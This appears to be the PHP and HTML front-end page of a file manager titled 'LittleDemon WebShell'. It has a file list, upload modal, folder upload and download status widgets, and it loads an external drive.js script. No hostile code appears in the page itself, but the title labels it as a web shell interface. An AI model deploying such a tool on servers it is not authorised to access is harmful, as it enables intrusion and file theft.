LittleDemon WebShell

<?php
require_once __DIR__ . "/config/db.php";
include(__DIR__ . "/layout/header.php"); 
?>
<!-- Spinner Start -->
<div id="spinner"
  class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
  <div class="spinner-border text-primary" style="width: 3rem; height: 3rem;" role="status">
    <span class="sr-only">Loading...</span>
  </div>
</div>
<!-- Spinner End -->

<?php include(__DIR__ . "/layout/sidebar.php"); ?>

<!-- Content Start -->
<div class="content">
  <?php include(__DIR__ . "/layout/navbar.php"); ?>
  <div class="container-fluid pt-4 px-4">
    <div class="" id="drop-zone">
        <!-- Search -->
        <!--<input type="text" id="search" class="form-control mt-3 mb-3" placeholder="Search files...">-->
        
        <!-- Upload Modal Trigger -->
        <!--<button class="btn btn-success mb-3" data-bs-toggle="modal" data-bs-target="#uploadModal">Upload File</button>-->
        <div class="row m-0 justify-content-between py-3 h-fit">
            <i class="fa-solid fa-arrow-left w-auto" id="back-button"></i>
        </div>
        <div id="file-list" class="row g-3"></div>
        
        <!--<div id="drop-zone" class="border border-primary rounded p-4 text-center mb-3 row m-0 justify-content-center align-items-center" style="min-height: 150px;">-->
        <!--  <p class="text-muted">Drag & drop files or folders here to upload</p>-->
        <!--</div>-->

        <div id="selection-box" style="
          position: absolute;
          border: 1px dashed #689820;
          background: rgba(104,152,32,0.1);
          display: none;
          z-index: 9998;
          pointer-events: none;
        "></div>


        <!-- Upload Modal -->
        <div class="modal fade" id="uploadModal" tabindex="-1">
          <div class="modal-dialog">
            <form id="uploadForm" enctype="multipart/form-data">
              <div class="modal-content">
                <div class="modal-header"><h5 class="modal-title">Upload File</h5></div>
                <div class="modal-body">
                  <input type="file" name="file" class="form-control" required>
                </div>
                <div class="modal-footer">
                  <button type="submit" class="btn btn-primary">Upload</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div id="download-status" style="
    position: fixed;
    bottom: 20px;
    right: 20px;
    background: #333;
    color: white;
    padding: 10px 20px;
    border-radius: 5px;
    display: none;
    z-index: 9999;
    box-shadow: 0 0 10px rgba(0,0,0,0.3);
">
  Downloading...
</div>

<div id="upload-status-container" style="position:fixed;bottom:10px;right:10px;z-index:9999;"></div>
<input type="file" id="file-input" webkitdirectory multiple style="display:none;" />
    </div>

  </div>
  <!-- Content End -->

  <?php include(__DIR__ . "/layout/footer.php"); ?>

  <?php addScript(["/drive.js?shu"]); ?>